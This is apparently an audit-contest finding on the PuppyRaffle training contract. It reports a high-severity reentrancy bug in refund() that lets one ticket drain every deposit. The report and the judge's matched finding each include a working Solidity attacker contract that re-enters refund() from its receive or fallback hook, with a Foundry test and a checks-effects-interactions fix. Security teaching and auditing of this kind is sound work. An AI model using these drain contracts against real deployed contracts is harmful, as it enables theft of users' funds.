Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrant refund lets a single player drain the entire raffle balance

Root + Impact

Description

A refund must pay exactly one entranceFee and then make that player position inactive. Instead, refund() sends ETH before invalidating players[playerIndex]. OpenZeppelin Address.sendValue performs a low-level call and transfers control to a contract participant. During that callback, the same player can call refund() again with the same index; both authorization checks still pass because the slot has not been cleared.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @> External control is transferred while the refund credit is still active.
payable(msg.sender).sendValue(entranceFee);
​
// @> This effect happens too late.
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

  • Any contract address can be registered as a player and refund() is public.

  • The attacker needs only one legitimate ticket and can stop re-entering before the raffle runs out of balance.

  • There is no reentrancy guard and the identity check authorizes the attacker contract on every nested call.

Impact: High

  • One ticket can be refunded repeatedly, stealing deposits belonging to other players and any accumulated balance.

  • The reproduced test funded four honest entries plus one attacker entry. The attacker deposited 1 ether and received 5 ether, leaving the raffle with zero balance.

Proof of Concept

Add the following test to test/PuppyRaffleSecurityPoC.t.sol and run forge test --match-test testPoC_ReentrantRefundDrainsAllDeposits -vv.

contract ReentrantRefundPlayer {
PuppyRaffle private immutable raffle;
uint256 private playerIndex;
​
constructor(PuppyRaffle _raffle) { raffle = _raffle; }
​
function attack() external payable {
uint256 fee = raffle.entranceFee();
address[] memory entrants = new address[](1);
entrants[0] = address(this);
raffle.enterRaffle{value: fee}(entrants);
playerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(playerIndex);
}
​
receive() external payable {
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(playerIndex);
}
}
}
​
function testPoC_ReentrantRefundDrainsAllDeposits() public {
_enter(raffle, 4, 100, ENTRANCE_FEE);
ReentrantRefundPlayer attacker = new ReentrantRefundPlayer(raffle);
​
attacker.attack{value: ENTRANCE_FEE}();
​
assertEq(address(raffle).balance, 0);
assertEq(address(attacker).balance, 5 * ENTRANCE_FEE);
}

The test was executed against commit 08e5b1fc6939b8da7792b2d13e43000c519d8897 and passed. The complete local suite passed 24/24 tests.

Recommended Mitigation

Apply checks-effects-interactions: consume the refund credit before the external call. nonReentrant can be added as defense in depth.

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(playerAddress).sendValue(entranceFee);

If the transfer reverts, EVM transaction atomicity restores the cleared slot.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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